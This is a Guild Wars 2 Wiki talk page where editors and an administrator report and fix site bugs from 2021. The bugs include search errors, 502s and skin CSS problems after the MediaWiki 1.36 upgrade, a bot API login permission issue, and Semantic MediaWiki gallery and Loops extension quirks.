This was due to an issue with the new Elasticsearch backend yesterday. That has been resolved, so searches should again be working as expected. Justin Lloyd (talk) 10:08, 15 September 2021 (UTC)

I still keep getting the 500 Internal Server Error, along with slow load times for the wiki. ~Sime 19:32, 9 October 2021 (UTC)

I had a 500 yesterday (or the day before that, not quite sure (and then stopped looking through the wiki for a while hoping it would calm down, so there would have probably been more wouldn't i have done that too)) too. Nightsky (talk) 19:55, 9 October 2021 (UTC)

Just had another 502 error when submitting the new section to this page (i.e. this bug occurs post MW 1.36). -Chieftain Alex 17:45, 20 October 2021 (UTC)

I just had the same problem (502 Bad Gateway) - however, my section is showing. – Vaetir (talk) 17:47, 20 October 2021 (UTC)

Error when searching

I was previously getting An error has occurred while searching: We could not complete your search due to a temporary problem. Please try again later. for all searches i tried that didn't exactly match an existing name (this was in a error box on Special:Search, which loaded propperly itself but seems to have (had)? trouble loading/displaying results), while now attempting to search for anything not matching an existing name exactly results in 504's or less frequently 500's flat out with Special:Search now where in sight. Nightsky (talk) 21:15, 14 September 2021 (UTC)

As I replied above, this search issue has been resolved. Let me know if you see any further issues regarding this event, or any other search issues for that matter. Thanks! Justin Lloyd (talk) 10:10, 15 September 2021 (UTC)

Thank you for resolving it! I'll continue to report any further issues i'll notice while i'm around.

Speaking of which, there's one other thing i've noticed while looking at it for the format bellow which is that GW2W:BOTs (or GW2W: by itself for that matter) doesn't suggest anything anymore while typing it, but GW2W:BOTS does (probably because it's an exact match). Nightsky (talk) 17:20, 15 September 2021 (UTC)

The Elasticsearch stuff is new to me, but from a bit of digging and testing, it looks like the namespace is Guild_Wars_2_Wiki whereas GW2W is some kind of redirect created within the wiki. As such, I don't think that CirrusSearch would have known to create an index for GW2W, only for Guild_Wars_2_Wiki. I think I may be able to have CirrusSearch add GW2W as another index, or some similar kind of workaround, but that will take some research. Justin Lloyd (talk) 18:06, 15 September 2021 (UTC)

Nightsky, I can indeed define a GW2W alias for the namespace. Tried it on my test server and it appears to work. I'll do some further testing to make sure there aren't any weird gotchas and, if not, I'll see about deploying the configuration change to the live wiki next week. Funny enough, I learned while researching this that since the namespace in question is defined by a special variable ($wgMetaNamespace), there's already a "Project" alias for it as well, so searching "Project:bots" already works. There's also a corresponding "Projects_talk" alias that works for the Guild_Wars_2_Wiki_talk namespace. Justin Lloyd (talk) 19:11, 16 September 2021 (UTC)

While i was hoping it would be possible to suggest the GW2W: redirects directly (like Special:PrefixIndex does it) and not have GW2W: suggest things from Guild Wars 2 Wiki: i wouldn't be strongly opposed to have it be an alias; although it would render the existing redirects useless. I'm not the only one on this wiki though and fellow users opinions may of course differ on this.

And i'm not sure if it's related or if it changes anything, but i've also noted today that certain redirects created on the wiki don't seem to show up in the suggestions alltogether, even if exactly matched. (E.g. all of the following exist at the moment and will redirect to the pages they redirect to but won't be suggested when searching for them Recipe: Nopalitos Saute, Mad Memoires IV: Deadly Adventure, Recipe: Carrot Souffle, Asgeir, Ascalon City, Magnificent Hummingbird; however e.g. the following do get suggested GW2:HoT, World vs. World: Sneak Attack, Recipe: Eda's Apple Pie, Ashen Waypoint, Allies, Anise.) Seems they don't show up if they "match" the target page according to some criteria.

Also not sure if it's realted or if it changes anything, but if i recall correctly there's an optional abbreviation that can be set for the wiki namespace during initial wiki installation (if that was even an option back then already) which i think is optional so it might have not been set for this wiki but if it was it could have been set to be GW2W: which may or may not make it behave differently. Nightsky (talk) 22:47, 16 September 2021 (UTC)

Nightsky, it will take me some time to investigate your points and concerns. I'm focused on the upgrade to MediaWiki 1.36 right now, so it may be a little while before I have any feedback. Justin Lloyd (talk) 11:06, 20 September 2021 (UTC)

No idea how this works out in reality, just stating what I find on the documentation pages: Our SMW 3.2.3 version states "Compatible with: MW 1.31.0 - 1.35.x", also SMW 4.0.0 milestone (release notes) says "Hopefully bringing support for MW 1.36 and improving support for MW 1.35" (which to be honest doesn't sound very optimistic); see also the SMW compability matrix. --Tolkyria (talk) 11:28, 20 September 2021 (UTC)

I am aware of the SMW support status regarding MediaWiki 1.36. This SMW issue 5001 comment indicates it shouldn't be a problem. (I saw this issue due to the numerous deprecation warnings 1.36 likes to throw.) Justin Lloyd (talk) 12:37, 20 September 2021 (UTC)

Looking forward to hearing more from you after the update! Nightsky (talk) 19:32, 20 September 2021 (UTC)

MW 1.36 upgrade (20/10/2021)

Please add bugs related to the upgrade below this heading, thank you. -Chieftain Alex 17:44, 20 October 2021 (UTC)

Vector Skin broken as of MediaWiki update 20.10.2021

Hello, the Vector skin has some issues since the update today, see [[:File:wikibug.jpg]]. The left sidebar is almost unreadable, and the tabs are white. Also, when hovering with the mouse over an internal link, the popup that opens has light gray font color on white background, thus also being not readable. – Vaetir (talk) 17:45, 20 October 2021 (UTC)

In the time between my edit to the vector css and you posting that screenshot, I think I've already fixed it, the cache should update if you CTRL+F5 now, at least I can't see what you're seeing. Also you appear to have the legacy vector checkbox ticked on Special:Preferences, I'd suggest it doesn't need to be ticked anymore. -Chieftain Alex 17:52, 20 October 2021 (UTC)

Hi Alex, indeed, you were a bit faster than I was. ;-) The only bug that is still there is the unreadable popup, see [[:File:Wikibug2.png]]. I deactivated the legacy vector skin, however this didn't seem to make a difference. – Vaetir (talk) 17:57, 20 October 2021 (UTC)

To be fair I had a 24 hour head start to correct CSS bugs last night after being given a heads up that vector was completely broken. The tooltip background should also be fixed (may take a few minutes for the site CSS cache to clear/propagate) -Chieftain Alex 18:06, 20 October 2021 (UTC)

Sorry to re-open this, but I found another little detail problem: the cite-notes have a white background, which makes reading the white font impossible. For an example see https://wiki.guildwars2.com/wiki/Flashpoint_(achievements)#cite_note-1 – Vaetir (talk) 18:39, 3 November 2021 (UTC)

The Notes have a blue background for me...unless you are talking about something else. Inculpatus cedo (talk) 20:24, 3 November 2021 (UTC)

You're probably not viewing it with the vector skin Inculpatus. On initial page load (using vector) it looked OK, but upon clicking on the cite [1] link, it highlighted (:target) the cite reference in an unfortunate way that wasn't compatible with the CSS.

Now patched. -Chieftain Alex 20:52, 3 November 2021 (UTC)

Ah, my bad. I guess I glossed over that part. My apologies. Inculpatus cedo (talk) 20:56, 3 November 2021 (UTC)

Thank you very much! I'll go on and mark this section as completed. – Vaetir (talk) 23:47, 3 November 2021 (UTC)

HTTP 502 bad gateway error after most edits

I've had this occur on 15 of my 16 edits today. -Chieftain Alex 18:20, 20 October 2021 (UTC)

Alex, I've made a small server-side adjustment to see if it eliminates the 502s. Please test editing at your convenience and let me know if you can still reproduce the errors. Justin Lloyd (talk) 19:35, 20 October 2021 (UTC)

Thanks Justin I will make a few more spam edits to see if I can trigger it or not. -Chieftain Alex 21:28, 20 October 2021 (UTC)

Seems fixed, superb. -Chieftain Alex 21:32, 20 October 2021 (UTC)

writeapidenied error for bot accounts

I'm not 100% certain if this is a bug with the wiki or with AWB (version 6.2.1.0), but I'm getting a new bug via AWB when attempting to login, namely the "writeapidenied" error "You're not allowed to edit this wiki through the API." on my bot account. It would be good to have someone else verify whether they can make edits over the API or not (page moves with Widget:Editing robot are fine). The error is occurring when initially trying to login (same settings as previously used successfully)

Fwiw looks like the login code for awb is written here. I should be able to attempt the same method of logging in with a standalone script to confirm whether its just AWB playing silly buggers or if its actually the wiki. -Chieftain Alex 18:41, 23 October 2021 (UTC)

I can't log into the API with my (self written) bot either. Same error code. Seems to be the wiki. Nightsky (talk) 03:57, 24 October 2021 (UTC)

Chieftain Alex, can you reproduce this in the dev wiki? If so, I can enable debugging there to help troubleshoot this. The writeapi permissions have not changed in the configuration, either. You might also take a look at the MediaWiki 1.36 Release Notes to see if there is anything there that might indicate a change that could contribute to this issue, though my scanning of them doesn't seem to show anything significant. If we can't find anything significant in the above suggestions, I can open a Phabricator bug report. Justin Lloyd (talk) 12:03, 25 October 2021 (UTC)

Yes Justin, I can reproduce this on the dev wiki.

Check out the bog standard basic script on User:Chieftain Alex/sandbox for how to attempt to login via the API. The mirror sandbox on the dev wiki has an equivalent test with the URL corrected. -Chieftain Alex 18:21, 25 October 2021 (UTC)

Alex, I enabled debug logging in dev and running the test in console shows an error in the log that appears to be from (T283394) Mark ApiClientLogin/ApiLogin as requiring write mode in the release notes. So far I'm not sure, though, if that's causing the failure or just a side effect. Justin Lloyd (talk) 19:09, 25 October 2021 (UTC)

After further testing, first I noticed that the bot password I created doesn't show up on the list of bot users, but it does show up on the corresponding dev page for bot passwords. However, on the live version of that page, none of the bots are listed. Regardless, on the dev bot password page, I clicked on the link for my bot password, which brings up a form to update the password and/or grants. I added the "Create, edit, and move pages" grant, and then that allowed your example code to work in the console. Justin Lloyd (talk) 19:32, 25 October 2021 (UTC)

I would tentatively suggest you may have left your account logged in (top-right corner) whilst trying the example code. Having reset my bot password earlier, and just now to make sure, I still receive the writeapidenied error. -Chieftain Alex 20:23, 25 October 2021 (UTC)

Alex, from API:Changing_wiki_content, "In MediaWiki 1.31 configuration parameter $wgEnableWriteAPI was deprecated and in future versions of MediaWiki it will no longer be possible to disable API access to the software." It appears that removing the $wgGroupPermissions['*']['writeapi'] = false; setting, since it defaults to true, seems to resolve the problem in dev. If you want to confirm that dev works now, I can then plan to deploy the change to live ASAP. Justin Lloyd (talk) 21:36, 25 October 2021 (UTC)

Brilliant, that's worked (both the initial test script and the actual AWB login). -Chieftain Alex 22:07, 25 October 2021 (UTC)

Great, thanks! I'll be deploying the fix to the live wikis tomorrow at 3 AM Pacific time. Justin Lloyd (talk) 15:28, 26 October 2021 (UTC)

Alex, the fix has been deployed to all of the live wikis. Please let me know if there are any further issues with respect to this problem. (FWIW, I'm tracking tickets regarding dropping the MW writeapi right altogether: T294316, T294397.) Justin Lloyd (talk) 10:10, 27 October 2021 (UTC)

Editing robot fails to upload

Several files fail to actually upload from Widget:Editing robot even though the page says they were successful. Confirmed this happening with ranges of files and repeating the upload (up to 4 times in one case) was needed to upload. The fact that they silently failed and looked like they uploaded made it hard to track down what was missing as well. Dak393 (talk) 19:27, 26 October 2021 (UTC)

I've added some more error handling to the widget such that it should stop the execution and appear in the red box if it triggers (for example) the type of MW error that was being experienced in the section above (apiwritedenied) - if its a MW error it'll say it succeeded with the request, but it will actually have failed + there should be a message to look at. The reason for failing will appear in the dev console (F12 for Firefox) -Chieftain Alex 20:49, 26 October 2021 (UTC)

Believe this is resolved, no such errors in a while. -Chieftain Alex 17:34, 27 February 2022 (UTC)

The maintenance scripts are no longer running

There's the warning sign (⚠) that's currently before the Outdated entities entry on Special:Statistics and the not presence of logs on Special:Log. And if this is to see if the wiki is faster i can report that that doesn't seem to be the case to me. Also, for all i can tell it might just contribute to the slowness if left unchecked; as i thought it would have slowed down the wiki before, back when it were many more, didnt it? Nightsky (talk) 21:29, 29 November 2021 (UTC)

I'm investigating this. It seems they haven't run since the upgrade to 1.36. I'm running them by hand now and working to figure out why they haven't been running properly every night, as the system logs say they have but Special:Log shows they haven't run since October 20. Justin Lloyd (talk) 21:50, 29 November 2021 (UTC)

I've figured out the issue. The script is running manually right now but should return to automated runs tonight. Justin Lloyd (talk) 13:54, 1 December 2021 (UTC)

Seems it did just that. Which, if it continues as it did last time, which i don't see why it wouldn't, means everything is back to normal. (Appart of it running an hour later now, at least relative to UTC; as well as in a different order. (Which i'm guessing is because of DST vs. not DST and doesn't matter.)) Well done! And so quickly too. Nightsky (talk) 17:35, 2 December 2021 (UTC)

Extension:Multimediaviewer with SMW format = gallery

When using mw:Extension:MultimediaViewer together with smw:Help:Gallery format there's some wierd behaviour. The "overlay = yes" incompatibility is already documented there in the help (as those are stacking), so I'm trying to remove those. In this process, I noticed that sometimes the MultimediaViewer is working and sometimes not, for example see Gallery of mount skins (working) and Gallery of Raptor skins (not working). The only difference, both are using exactly the same smw query with "format = gallery", is that the page Gallery of mount skins calls the query several times and Gallery of Raptor skins only once. When inspecting with the browser, the image thumbnails on the first page show an event while the second page don't. On pages with one query only, if we add a simple icon before or after, e.g. [[File:Skill.png]] or even with deactivated link [[File:Skill.png|link=]] (i.e. it doesn't show up in the MultimediaViewer), the MultimediaViewer suddenly works; without it doesn't.

Note that the SMW format = gallery is a historical remnant, because up to now it was then nicest way to display images; not sure if we should replace it with a custom format just using <gallery> tags.

Summary: Quite wierd, when using only one smw query with format = gallery as content on a page, it fails to activate the MultimediaViewer properly. --Tolkyria (talk) 13:40, 24 June 2021 (UTC)

Okay, I should have checked on the smw sandbox wiki first, same behaviour there, see here: one query only and one query and one image call. I guess this is a general problem then, it seems like that there can't be done much at the wiki backend then (@Justin), but we (the editors) have to avoid using single gallery queries instead. --Tolkyria (talk) 14:07, 24 June 2021 (UTC)

It's actually not that trivial to create a smw gallery query without the format = gallery but with e.g. format = plainlist/array, unless I'm missing something completely. The easiest fix would be to add the dummy <div style="display:none">[[File:Skill.png|link=]]</div>. --Tolkyria (talk) 15:59, 24 June 2021 (UTC)

If we template the dummy fix bit we could remove it later fairly easily. -Chieftain Alex 17:32, 24 June 2021 (UTC)

Uploaded [[:File:Gallery dummy.png]] (1px transparent) and added it to the gallery templates/turned mainspace queries into template calls (mostly Template:Gallery). If there are no objections, I'll mark this as solved. --Tolkyria (talk) 18:07, 24 June 2021 (UTC)

While not an objection (i think) i'll mark this as mitigated instead of solved since this is still a bug that's around, even if not directly visible anymore. Nightsky (talk) 16:11, 30 August 2021 (UTC)

Based on Tolkyria removing the file above and corresponding template edits, marking this as fixed (previously marked mitigated). -Chieftain Alex 20:30, 22 January 2023 (UTC)

Mitigated

Mw Indicator Smw Entity Examiner

Is this element with the id mw-indicator-smw-entity-examiner supposed to stay on the page and load forever? Because it seem to do that on most pages when not logged in. (Being located close to the edge of the screen to the right of the page title.) Nightsky (talk) 02:05, 2 April 2021 (UTC)

I believe this is related to the SMW backend being unresponsive due to it being excessively slow per Stephane's post on discord. For reference here is Stephane's comment:

"Stephane Lo Presti — 03/31/2021 > Hey everyone, I've got a quick update following yesterday's maintenance. Our engineer discovered an odd error in the backend. It's very technical and he needs to investigate this further to really understand what's going on and create a fix. Meanwhile it may mean that the SMW data update may be running slow (?). I also asked our engineer to look into the slowness."

Also related to this bug where the page osillates.

In the meantime I've applied a CSS rule to hide it completely, though I suspect this will bug will vanish when the backend finishes processing/the bug is fixed. -Chieftain Alex 11:36, 2 April 2021 (UTC)

icon still appears on small screen devices (responsive design mode for mono book). Indefinitely loading on main page.

5.65.95.15 22:12, 7 April 2021 (UTC)

Actually, while annoying, would't it be better to leave it visible to be able to tell more easily if it's fixed or not? Nightsky (talk) 17:46, 8 April 2021 (UTC)

What you say makes sense, but not worth it if it causes the entire page to vibrate up and down for some users... -Chieftain Alex 18:25, 8 April 2021 (UTC)

For what it's worth it seems there is a POST call being made each page load that tries to perform a smwtask (run-entity-examiner) but fails to do so for permission reasons (writeapidenied). At least while not logged in, it works fine and the div with this id is empty while logged in. Nightsky (talk) 02:26, 1 June 2021 (UTC)

While possibly unrelated to the element; has a fix for the "odd error in the backend" been put into place? Nightsky (talk) 19:55, 9 October 2021 (UTC)

SMW galleries appearing as a column

→ moved from Guild Wars 2 Wiki:Reporting wiki bugs#What happened to most gallery pages?

I don't know when that happened exactly, it must be recently. Now in many gallery pages Category:Item galleries by type (not all Black Lion weapon set gallery) the images are ordered in a single column, instead of at least 4-6 in a row. And are the thumbnails set be even smaller? Maybe because of a MediaWiki update?

That's not how you fulfill the purpose of galleries! 178.165.130.167 10:39, 10 June 2021 (UTC)

Just hit purge on them, it's left over from some work that happened. Dak393 (talk) 11:10, 10 June 2021 (UTC)

Well I bothered to go through and purge all the the ones in the category but there are for sure more and if you find more cases just purge the page to fix it. (Also fixing page links above) Dak393 (talk) 11:17, 10 June 2021 (UTC)

Sadly, purging with "?action=purge" at the end of any of mentioned gallery URLs and confirming the prompt with "OK", seems only to work for 10 seconds when you reload the page with your browser again and again. It doesn't matter, if it's with F5 or ctrl+F5. After that, it's back to displaying it as a single row. Even after multiple manual attempts, for instance "https://wiki.guildwars2.com/wiki/Gallery_of_Skyscale_skins?action=purge". 77.119.130.49 15:44, 10 June 2021 (UTC)

For years I thought this bug was to do with SMW's fancybox/JS. It might be, but the visual appearance is actually the result of a stylesheet not loading, or not loading the fragment required. If I add this css fragment the column is restored. I'll look into this a bit further and see if I can figure out if there are other CSS rules not loading or if its just this bit. If it's just this section (as in exactly my sandbox) then I can paste this into the Common.css rules as a workaround. -Chieftain Alex 17:00, 10 June 2021 (UTC)

edit, i've tracked down the resource url and amended the link above. modules=mediawiki.page.gallery.styles

Normally mediawiki only loads modules if it detects it needs them based on the wikitext... I wonder if SMW parses it too late and misses the opportunity to add it into the module queue to load? Not sure why it would work 100% of the time on page preview though.

I've identified an identical github issue for this bug here. Considering its quite an old bug, I will implement the workaround so we don't see this bug in the future for a while. -Chieftain Alex 17:16, 10 June 2021 (UTC)

Workaround now implemented until a solution for the extension is implemented. -Chieftain Alex 17:40, 10 June 2021 (UTC)

Potentially don't need to worry about this bug any more since we've installed extension:mediaviewer (which is incompatible with SMW galleries, requiring SMW gallery removal), however I'll leave the patch in for a bit (maybe 1 month?) until we're happy all occurrences of SMW galleries are gone. -Chieftain Alex 17:51, 24 June 2021 (UTC)

The mw:Extension:MultimediaViewer is actually "compatible" with the smw result format = gallery, just the parameter "overlay = yes" isn't, as clicking on a image thumbnail opens both, the MultimediaViewer image overlay and the fancy format = gallery overlay.

However, the format = gallery has three problems:

1. The problem specified in this topic: after an edit the gallery may be compressed into one column only, fixed by Alex with some CSS.
2. That's however not all, it also displays the text Property:Has caption, which is set to [[<page name>|<canonical name>]], as exactly this, i.e. it displays it as raw wiki code and doesn't parse it. This isn't fixed yet and needs a purge every time.
3. The problem specified in the next topic. A single smw format = gallery query isn't able to open the image with the MultimediaViewer, it needs an additional dummy image.

But it's quite tricky to create a gallery by using custom format since:

1. format = plainlist with an own result format introduces [[SMW::off]]/[[SMW::on]] tags which must be removed when wrapping it in a {{#tag:gallery|<query>}}.
2. format = array doesn't have the [[SMW::off]]/[[SMW::on]] problem, but adding a line break separator is kinda hard. The best one I found so far is: propsep = {{!}} and sep = <nowiki/>\n: where \n inserts an actual line break, exploiting the fact that the gallery tag is able to parse :File:<file name>.png.

Given these bugs, I'm still tempted to replace the format = gallery with a plain query format (although the plain queries are tricky) wrapping it in gallery tags.

Also, I have replaced all mainspace format = gallery occurrences with template calls - the remaining templates are now the following:

• Template:Gallery
• [[Template:Ascended weapons gallery]]
• Template:Weapon gallery (standalone template, creates also a nav after the gallery)
• Template:Weapon set gallery
• Template:Weapon skin set gallery (could merge with Weapon set gallery by adding the parameter "skin set = y")

--Tolkyria (talk) 18:59, 24 June 2021 (UTC)

Extension:Loops unexpectedly hitting max cycles

As reported by Life Infusion on discord, previously the loops template functioned ok on Fractals of the Mists. As of yesterday it looked like this, it was finishing the row for the 96th fractal and reporting the error "".

Based on Special:Version, we're now using Extension:Loops "1.0.0-beta".

Based on the note on mw:Extension:Loops#Configuration there is probably now a limit of 100 cycles per page for any version of this extension beyond 1.0.0 (which is logical to prevent poorly constructed pages with large calculation requirements), so this makes perfect sense (perform 26 loops per column with the 26th one exiting because the exit condition has been met in each turn for the inner loop, and then exiting on the 22nd request) 26+26+26+22=100.

I have split that particular table out onto Template:Fractal levels table. The error originally occurred with the same code (as expected), so I've switched it from loops to arraymaps and the template appears OK. I don't think we use loops much so this shouldn't affect too many pages. -Chieftain Alex 07:08, 2 September 2021 (UTC)

$egLoopsCounterLimit is set to 1000 but it appears there's a separate $egLoopsCountLimit that does default to 100. There appears to be a discrepancy between the Loops documentation and the code. If necessary, we could try bumping up $egLoopsCountLimit to see if that helps, and I can open a documentation bug report for the extension to get clarification. Justin Lloyd (talk) 08:39, 2 September 2021 (UTC)

github commit which changed it from $egLoopsCounterLimit to $egLoopsCountLimit, as there where two functions using the same global variable. Seems the documentation is not up to date. —Kvothe (talk) 11:41, 2 September 2021 (UTC)

Notice, however, that $egLoopsCounterLimit is still used in the last function of that file. So is that a mistake or two different $egLoopsCount*Limit variables that can be tuned? I'm reaching out to some MW experts about this. Justin Lloyd (talk) 11:45, 2 September 2021 (UTC)

I'm still investigating this. It appears that increasing $egLoopsCountLimit as well does seem to fix the problem, but I've requested clarification on the Loops extension's Talk page on whether or not this is a bug. Justin Lloyd (talk) 10:47, 3 September 2021 (UTC)

This appears to be a known bug with the fix backport slated for the next security release. Turns out it is just a mistyped variable name, as I'd suspected. Justin Lloyd (talk) 15:57, 13 September 2021 (UTC)

I added a setting in the wikis on October 6 to work around the bug in the Loops extension. The actual fix has not yet been backported to the extension's 1.36 branch and I'm not sure whether it will be, but the additional setting should suffice until the extension is fixed, whether in a 1.36 update or during the next major version upgrade since it was fixed in 1.37. Justin Lloyd (talk) 21:35, 20 October 2021 (UTC)

MW 1.36 upgrade (20/10/2021)

Please add bugs related to the upgrade below this heading, thank you. -Chieftain Alex 17:44, 20 October 2021 (UTC)

Vector Skin showing hidden categories

Not really a bug, more like an anomaly, but Vector is showing "Hidden categories" at the bottom, for example any page that uses #dpl. Note that Monobook hides hidden categories. --Tolkyria (talk) 18:05, 20 October 2021 (UTC)

This is partially a bug with MW 1.36 where they've removed the built-in rule which is applied in monobook for some reason (#mw-hidden-catlinks { display: none; }). In the meantime I've patched vector.css and I expect this change to succeed. -Chieftain Alex 18:19, 20 October 2021 (UTC)